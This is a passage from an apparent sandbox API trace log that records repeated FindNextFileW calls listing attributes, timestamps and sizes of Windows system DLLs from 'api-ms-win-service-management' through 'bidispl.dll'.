ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0188.295] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, 